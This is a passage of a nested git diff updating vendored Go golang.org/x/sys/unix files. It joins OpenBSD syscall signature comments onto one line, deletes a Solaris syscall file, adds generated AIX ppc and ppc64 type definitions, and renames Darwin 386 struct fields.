-- SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, \
-+ SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, int uid, char *arg); }
- SYS_NFSSVC = 155 // { int sys_nfssvc(int flag, void *argp); }
- SYS_GETFH = 161 // { int sys_getfh(const char *fname, fhandle_t *fhp); }
- SYS_SYSARCH = 165 // { int sys_sysarch(int op, void *parms); }
-- SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, \
-- SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, \
-+ SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, size_t nbyte, int pad, off_t offset); }
-+ SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, size_t nbyte, int pad, off_t offset); }
- SYS_SETGID = 181 // { int sys_setgid(gid_t gid); }
- SYS_SETEGID = 182 // { int sys_setegid(gid_t egid); }
- SYS_SETEUID = 183 // { int sys_seteuid(uid_t euid); }
- SYS_PATHCONF = 191 // { long sys_pathconf(const char *path, int name); }
- SYS_FPATHCONF = 192 // { long sys_fpathconf(int fd, int name); }
- SYS_SWAPCTL = 193 // { int sys_swapctl(int cmd, const void *arg, int misc); }
-- SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, \
-- SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, \
-- SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, \
-- SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, \
-- SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, \
-+ SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, struct rlimit *rlp); }
-+ SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, const struct rlimit *rlp); }
-+ SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
-+ SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, int whence); }
-+ SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, off_t length); }
- SYS_FTRUNCATE = 201 // { int sys_ftruncate(int fd, int pad, off_t length); }
-- SYS___SYSCTL = 202 // { int sys___sysctl(const int *name, u_int namelen, \
-+ SYS_SYSCTL = 202 // { int sys_sysctl(const int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); }
- SYS_MLOCK = 203 // { int sys_mlock(const void *addr, size_t len); }
- SYS_MUNLOCK = 204 // { int sys_munlock(const void *addr, size_t len); }
- SYS_GETPGID = 207 // { pid_t sys_getpgid(pid_t pid); }
-- SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, \
-+ SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, size_t len); }
- SYS_SEMGET = 221 // { int sys_semget(key_t key, int nsems, int semflg); }
- SYS_MSGGET = 225 // { int sys_msgget(key_t key, int msgflg); }
-- SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, \
-- SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, \
-- SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, \
-+ SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, int shmflg); }
- SYS_SHMDT = 230 // { int sys_shmdt(const void *shmaddr); }
-- SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, \
-- SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, \
-+ SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, int inherit); }
-+ SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, u_int nfds, int timeout); }
- SYS_ISSETUGID = 253 // { int sys_issetugid(void); }
- SYS_LCHOWN = 254 // { int sys_lchown(const char *path, uid_t uid, gid_t gid); }
- SYS_GETSID = 255 // { pid_t sys_getsid(pid_t pid); }
- SYS_MSYNC = 256 // { int sys_msync(void *addr, size_t len, int flags); }
- SYS_PIPE = 263 // { int sys_pipe(int *fdp); }
- SYS_FHOPEN = 264 // { int sys_fhopen(const fhandle_t *fhp, int flags); }
-- SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, \
-- SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, \
-+ SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
-+ SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
- SYS_KQUEUE = 269 // { int sys_kqueue(void); }
- SYS_MLOCKALL = 271 // { int sys_mlockall(int flags); }
- SYS_MUNLOCKALL = 272 // { int sys_munlockall(void); }
-- SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, \
-- SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, \
-- SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, \
-+ SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
- SYS_CLOSEFROM = 287 // { int sys_closefrom(int fd); }
-- SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, \
-+ SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, struct sigaltstack *oss); }
- SYS_SHMGET = 289 // { int sys_shmget(key_t key, size_t size, int shmflg); }
-- SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, \
-- SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, \
-- SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, \
-- SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, \
-- SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, \
-+ SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, struct stat *sb); }
-+ SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, struct msqid_ds *buf); }
- SYS_SCHED_YIELD = 298 // { int sys_sched_yield(void); }
- SYS_GETTHRID = 299 // { pid_t sys_getthrid(void); }
-- SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, \
-+ SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, int n); }
- SYS___THREXIT = 302 // { void sys___threxit(pid_t *notdead); }
-- SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, \
-+ SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, siginfo_t *info, const struct timespec *timeout); }
- SYS___GETCWD = 304 // { int sys___getcwd(char *buf, size_t len); }
-- SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, \
-+ SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, int64_t *oldfreq); }
- SYS_SETRTABLE = 310 // { int sys_setrtable(int rtableid); }
- SYS_GETRTABLE = 311 // { int sys_getrtable(void); }
-- SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, \
-- SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, \
-- SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, \
-- SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, \
-- SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, \
-- SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, \
-- SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, \
-- SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, \
-- SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, \
-- SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, \
-- SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, \
-- SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, \
-+ SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, const char *path2, int flag); }
-+ SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, mode_t mode); }
-+ SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, ... mode_t mode); }
-+ SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, char *buf, size_t count); }
-+ SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, int tofd, const char *to); }
-+ SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, const char *link); }
-+ SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, int flag); }
- SYS___SET_TCB = 329 // { void sys___set_tcb(void *tcb); }
- SYS___GET_TCB = 330 // { void *sys___get_tcb(void); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_solaris_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_solaris_amd64.go
-deleted file mode 100644
-index c7086598..00000000
---- a/vendor/golang.org/x/sys/unix/zsysnum_solaris_amd64.go
-+++ /dev/null
-@@ -1,13 +0,0 @@
--// Copyright 2014 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--// +build amd64,solaris
--
--package unix
--
--// TODO(aram): remove these before Go 1.3.
--const (
-- SYS_EXECVE = 59
-- SYS_FCNTL = 62
--)
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_aix_ppc.go b/vendor/golang.org/x/sys/unix/ztypes_aix_ppc.go
-new file mode 100644
-index 00000000..2c1f815e
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/ztypes_aix_ppc.go
-@@ -0,0 +1,352 @@
-+// cgo -godefs types_aix.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build ppc,aix
-+
-+package unix
-+
-+const (
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
-+ PathMax = 0x3ff
-+)
-+
-+type (
-+ _C_short int16
-+ _C_int int32
-+ _C_long int32
-+ _C_long_long int64
-+)
-+
-+type off64 int64
-+type off int32
-+type Mode_t uint32
-+
-+type Timespec struct {
-+ Sec int32
-+ Nsec int32
-+}
-+
-+type Timeval struct {
-+ Sec int32
-+ Usec int32
-+}
-+
-+type Timeval32 struct {
-+ Sec int32
-+ Usec int32
-+}
-+
-+type Timex struct{}
-+
-+type Time_t int32
-+
-+type Tms struct{}
-+
-+type Utimbuf struct {
-+ Actime int32
-+ Modtime int32
-+}
-+
-+type Timezone struct {
-+ Minuteswest int32
-+ Dsttime int32
-+}
-+
-+type Rusage struct {
-+ Utime Timeval
-+ Stime Timeval
-+ Maxrss int32
-+ Ixrss int32
-+ Idrss int32
-+ Isrss int32
-+ Minflt int32
-+ Majflt int32
-+ Nswap int32
-+ Inblock int32
-+ Oublock int32
-+ Msgsnd int32
-+ Msgrcv int32
-+ Nsignals int32
-+ Nvcsw int32
-+ Nivcsw int32
-+}
-+
-+type Rlimit struct {
-+ Cur uint64
-+ Max uint64
-+}
-+
-+type Pid_t int32
-+
-+type _Gid_t uint32
-+
-+type dev_t uint32
-+
-+type Stat_t struct {
-+ Dev uint32
-+ Ino uint32
-+ Mode uint32
-+ Nlink int16
-+ Flag uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Size int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Blksize int32
-+ Blocks int32
-+ Vfstype int32
-+ Vfs uint32
-+ Type uint32
-+ Gen uint32
-+ Reserved [9]uint32
-+}
-+
-+type StatxTimestamp struct{}
-+
-+type Statx_t struct{}
-+
-+type Dirent struct {
-+ Offset uint32
-+ Ino uint32
-+ Reclen uint16
-+ Namlen uint16
-+ Name [256]uint8
-+}
-+
-+type RawSockaddrInet4 struct {
-+ Len uint8
-+ Family uint8
-+ Port uint16
-+ Addr [4]byte /* in_addr */
-+ Zero [8]uint8
-+}
-+
-+type RawSockaddrInet6 struct {
-+ Len uint8
-+ Family uint8
-+ Port uint16
-+ Flowinfo uint32
-+ Addr [16]byte /* in6_addr */
-+ Scope_id uint32
-+}
-+
-+type RawSockaddrUnix struct {
-+ Len uint8
-+ Family uint8
-+ Path [1023]uint8
-+}
-+
-+type RawSockaddrDatalink struct {
-+ Len uint8
-+ Family uint8
-+ Index uint16
-+ Type uint8
-+ Nlen uint8
-+ Alen uint8
-+ Slen uint8
-+ Data [120]uint8
-+}
-+
-+type RawSockaddr struct {
-+ Len uint8
-+ Family uint8
-+ Data [14]uint8
-+}
-+
-+type RawSockaddrAny struct {
-+ Addr RawSockaddr
-+ Pad [1012]uint8
-+}
-+
-+type _Socklen uint32
-+
-+type Cmsghdr struct {
-+ Len uint32
-+ Level int32
-+ Type int32
-+}
-+
-+type ICMPv6Filter struct {
-+ Filt [8]uint32
-+}
-+
-+type Iovec struct {
-+ Base *byte
-+ Len uint32
-+}
-+
-+type IPMreq struct {
-+ Multiaddr [4]byte /* in_addr */
-+ Interface [4]byte /* in_addr */
-+}
-+
-+type IPv6Mreq struct {
-+ Multiaddr [16]byte /* in6_addr */
-+ Interface uint32
-+}
-+
-+type IPv6MTUInfo struct {
-+ Addr RawSockaddrInet6
-+ Mtu uint32
-+}
-+
-+type Linger struct {
-+ Onoff int32
-+ Linger int32
-+}
-+
-+type Msghdr struct {
-+ Name *byte
-+ Namelen uint32
-+ Iov *Iovec
-+ Iovlen int32
-+ Control *byte
-+ Controllen uint32
-+ Flags int32
-+}
-+
-+const (
-+ SizeofSockaddrInet4 = 0x10
-+ SizeofSockaddrInet6 = 0x1c
-+ SizeofSockaddrAny = 0x404
-+ SizeofSockaddrUnix = 0x401
-+ SizeofSockaddrDatalink = 0x80
-+ SizeofLinger = 0x8
-+ SizeofIPMreq = 0x8
-+ SizeofIPv6Mreq = 0x14
-+ SizeofIPv6MTUInfo = 0x20
-+ SizeofMsghdr = 0x1c
-+ SizeofCmsghdr = 0xc
-+ SizeofICMPv6Filter = 0x20
-+)
-+
-+const (
-+ SizeofIfMsghdr = 0x10
-+)
-+
-+type IfMsgHdr struct {
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ Addrlen uint8
-+ _ [1]byte
-+}
-+
-+type FdSet struct {
-+ Bits [2048]int32
-+}
-+
-+type Utsname struct {
-+ Sysname [32]byte
-+ Nodename [32]byte
-+ Release [32]byte
-+ Version [32]byte
-+ Machine [32]byte
-+}
-+
-+type Ustat_t struct{}
-+
-+type Sigset_t struct {
-+ Losigs uint32
-+ Hisigs uint32
-+}
-+
-+const (
-+ AT_FDCWD = -0x2
-+ AT_REMOVEDIR = 0x1
-+ AT_SYMLINK_NOFOLLOW = 0x1
-+)
-+
-+type Termios struct {
-+ Iflag uint32
-+ Oflag uint32
-+ Cflag uint32
-+ Lflag uint32
-+ Cc [16]uint8
-+}
-+
-+type Termio struct {
-+ Iflag uint16
-+ Oflag uint16
-+ Cflag uint16
-+ Lflag uint16
-+ Line uint8
-+ Cc [8]uint8
-+ _ [1]byte
-+}
-+
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type PollFd struct {
-+ Fd int32
-+ Events uint16
-+ Revents uint16
-+}
-+
-+const (
-+ POLLERR = 0x4000
-+ POLLHUP = 0x2000
-+ POLLIN = 0x1
-+ POLLNVAL = 0x8000
-+ POLLOUT = 0x2
-+ POLLPRI = 0x4
-+ POLLRDBAND = 0x20
-+ POLLRDNORM = 0x10
-+ POLLWRBAND = 0x40
-+ POLLWRNORM = 0x2
-+)
-+
-+type Flock_t struct {
-+ Type int16
-+ Whence int16
-+ Sysid uint32
-+ Pid int32
-+ Vfs int32
-+ Start int64
-+ Len int64
-+}
-+
-+type Fsid_t struct {
-+ Val [2]uint32
-+}
-+type Fsid64_t struct {
-+ Val [2]uint64
-+}
-+
-+type Statfs_t struct {
-+ Version int32
-+ Type int32
-+ Bsize uint32
-+ Blocks uint32
-+ Bfree uint32
-+ Bavail uint32
-+ Files uint32
-+ Ffree uint32
-+ Fsid Fsid_t
-+ Vfstype int32
-+ Fsize uint32
-+ Vfsnumber int32
-+ Vfsoff int32
-+ Vfslen int32
-+ Vfsvers int32
-+ Fname [32]uint8
-+ Fpack [32]uint8
-+ Name_max int32
-+}
-+
-+const RNDGETENTCNT = 0x80045200
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_aix_ppc64.go b/vendor/golang.org/x/sys/unix/ztypes_aix_ppc64.go
-new file mode 100644
-index 00000000..b4a069ec
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/ztypes_aix_ppc64.go
-@@ -0,0 +1,356 @@
-+// cgo -godefs types_aix.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build ppc64,aix
-+
-+package unix
-+
-+const (
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
-+ PathMax = 0x3ff
-+)
-+
-+type (
-+ _C_short int16
-+ _C_int int32
-+ _C_long int64
-+ _C_long_long int64
-+)
-+
-+type off64 int64
-+type off int64
-+type Mode_t uint32
-+
-+type Timespec struct {
-+ Sec int64
-+ Nsec int64
-+}
-+
-+type Timeval struct {
-+ Sec int64
-+ Usec int32
-+ _ [4]byte
-+}
-+
-+type Timeval32 struct {
-+ Sec int32
-+ Usec int32
-+}
-+
-+type Timex struct{}
-+
-+type Time_t int64
-+
-+type Tms struct{}
-+
-+type Utimbuf struct {
-+ Actime int64
-+ Modtime int64
-+}
-+
-+type Timezone struct {
-+ Minuteswest int32
-+ Dsttime int32
-+}
-+
-+type Rusage struct {
-+ Utime Timeval
-+ Stime Timeval
-+ Maxrss int64
-+ Ixrss int64
-+ Idrss int64
-+ Isrss int64
-+ Minflt int64
-+ Majflt int64
-+ Nswap int64
-+ Inblock int64
-+ Oublock int64
-+ Msgsnd int64
-+ Msgrcv int64
-+ Nsignals int64
-+ Nvcsw int64
-+ Nivcsw int64
-+}
-+
-+type Rlimit struct {
-+ Cur uint64
-+ Max uint64
-+}
-+
-+type Pid_t int32
-+
-+type _Gid_t uint32
-+
-+type dev_t uint64
-+
-+type Stat_t struct {
-+ Dev uint64
-+ Ino uint64
-+ Mode uint32
-+ Nlink int16
-+ Flag uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ Ssize int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Blksize int64
-+ Blocks int64
-+ Vfstype int32
-+ Vfs uint32
-+ Type uint32
-+ Gen uint32
-+ Reserved [9]uint32
-+ Padto_ll uint32
-+ Size int64
-+}
-+
-+type StatxTimestamp struct{}
-+
-+type Statx_t struct{}
-+
-+type Dirent struct {
-+ Offset uint64
-+ Ino uint64
-+ Reclen uint16
-+ Namlen uint16
-+ Name [256]uint8
-+ _ [4]byte
-+}
-+
-+type RawSockaddrInet4 struct {
-+ Len uint8
-+ Family uint8
-+ Port uint16
-+ Addr [4]byte /* in_addr */
-+ Zero [8]uint8
-+}
-+
-+type RawSockaddrInet6 struct {
-+ Len uint8
-+ Family uint8
-+ Port uint16
-+ Flowinfo uint32
-+ Addr [16]byte /* in6_addr */
-+ Scope_id uint32
-+}
-+
-+type RawSockaddrUnix struct {
-+ Len uint8
-+ Family uint8
-+ Path [1023]uint8
-+}
-+
-+type RawSockaddrDatalink struct {
-+ Len uint8
-+ Family uint8
-+ Index uint16
-+ Type uint8
-+ Nlen uint8
-+ Alen uint8
-+ Slen uint8
-+ Data [120]uint8
-+}
-+
-+type RawSockaddr struct {
-+ Len uint8
-+ Family uint8
-+ Data [14]uint8
-+}
-+
-+type RawSockaddrAny struct {
-+ Addr RawSockaddr
-+ Pad [1012]uint8
-+}
-+
-+type _Socklen uint32
-+
-+type Cmsghdr struct {
-+ Len uint32
-+ Level int32
-+ Type int32
-+}
-+
-+type ICMPv6Filter struct {
-+ Filt [8]uint32
-+}
-+
-+type Iovec struct {
-+ Base *byte
-+ Len uint64
-+}
-+
-+type IPMreq struct {
-+ Multiaddr [4]byte /* in_addr */
-+ Interface [4]byte /* in_addr */
-+}
-+
-+type IPv6Mreq struct {
-+ Multiaddr [16]byte /* in6_addr */
-+ Interface uint32
-+}
-+
-+type IPv6MTUInfo struct {
-+ Addr RawSockaddrInet6
-+ Mtu uint32
-+}
-+
-+type Linger struct {
-+ Onoff int32
-+ Linger int32
-+}
-+
-+type Msghdr struct {
-+ Name *byte
-+ Namelen uint32
-+ Iov *Iovec
-+ Iovlen int32
-+ Control *byte
-+ Controllen uint32
-+ Flags int32
-+}
-+
-+const (
-+ SizeofSockaddrInet4 = 0x10
-+ SizeofSockaddrInet6 = 0x1c
-+ SizeofSockaddrAny = 0x404
-+ SizeofSockaddrUnix = 0x401
-+ SizeofSockaddrDatalink = 0x80
-+ SizeofLinger = 0x8
-+ SizeofIPMreq = 0x8
-+ SizeofIPv6Mreq = 0x14
-+ SizeofIPv6MTUInfo = 0x20
-+ SizeofMsghdr = 0x30
-+ SizeofCmsghdr = 0xc
-+ SizeofICMPv6Filter = 0x20
-+)
-+
-+const (
-+ SizeofIfMsghdr = 0x10
-+)
-+
-+type IfMsgHdr struct {
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ Addrlen uint8
-+ _ [1]byte
-+}
-+
-+type FdSet struct {
-+ Bits [1024]int64
-+}
-+
-+type Utsname struct {
-+ Sysname [32]byte
-+ Nodename [32]byte
-+ Release [32]byte
-+ Version [32]byte
-+ Machine [32]byte
-+}
-+
-+type Ustat_t struct{}
-+
-+type Sigset_t struct {
-+ Set [4]uint64
-+}
-+
-+const (
-+ AT_FDCWD = -0x2
-+ AT_REMOVEDIR = 0x1
-+ AT_SYMLINK_NOFOLLOW = 0x1
-+)
-+
-+type Termios struct {
-+ Iflag uint32
-+ Oflag uint32
-+ Cflag uint32
-+ Lflag uint32
-+ Cc [16]uint8
-+}
-+
-+type Termio struct {
-+ Iflag uint16
-+ Oflag uint16
-+ Cflag uint16
-+ Lflag uint16
-+ Line uint8
-+ Cc [8]uint8
-+ _ [1]byte
-+}
-+
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type PollFd struct {
-+ Fd int32
-+ Events uint16
-+ Revents uint16
-+}
-+
-+const (
-+ POLLERR = 0x4000
-+ POLLHUP = 0x2000
-+ POLLIN = 0x1
-+ POLLNVAL = 0x8000
-+ POLLOUT = 0x2
-+ POLLPRI = 0x4
-+ POLLRDBAND = 0x20
-+ POLLRDNORM = 0x10
-+ POLLWRBAND = 0x40
-+ POLLWRNORM = 0x2
-+)
-+
-+type Flock_t struct {
-+ Type int16
-+ Whence int16
-+ Sysid uint32
-+ Pid int32
-+ Vfs int32
-+ Start int64
-+ Len int64
-+}
-+
-+type Fsid_t struct {
-+ Val [2]uint32
-+}
-+type Fsid64_t struct {
-+ Val [2]uint64
-+}
-+
-+type Statfs_t struct {
-+ Version int32
-+ Type int32
-+ Bsize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid64_t
-+ Vfstype int32
-+ Fsize uint64
-+ Vfsnumber int32
-+ Vfsoff int32
-+ Vfslen int32
-+ Vfsvers int32
-+ Fname [32]uint8
-+ Fpack [32]uint8
-+ Name_max int32
-+ _ [4]byte
-+}
-+
-+const RNDGETENTCNT = 0x80045200
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_darwin_386.go b/vendor/golang.org/x/sys/unix/ztypes_darwin_386.go
-index e61d78a5..9f47b87c 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_darwin_386.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -59,24 +59,24 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev int32
-- Mode uint16
-- Nlink uint16
-- Ino uint64
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Qspare [2]int64
-+ Dev int32
-+ Mode uint16
-+ Nlink uint16
-+ Ino uint64
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Qspare [2]int64
- }
-
- type Statfs_t struct {
-@@ -136,13 +136,13 @@ type Fsid struct {
- }
-
- type Dirent struct {
-- Ino uint64
-- Seekoff uint64
-- Reclen uint16
-- Namlen uint16
-- Type uint8
-- Name [1024]int8
-- Pad_cgo_0 [3]byte
-+ Ino uint64
-+ Seekoff uint64
-+ Reclen uint16
-+ Namlen uint16
-+ Type uint8
-+ Name [1024]int8
-+ _ [3]byte
- }
-
- type RawSockaddrInet4 struct {
-@@ -295,14 +295,14 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
-@@ -338,51 +338,51 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfmaMsghdr2 struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Refcount int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Refcount int32
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -430,11 +430,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp Timeval
-+ Caplen uint32
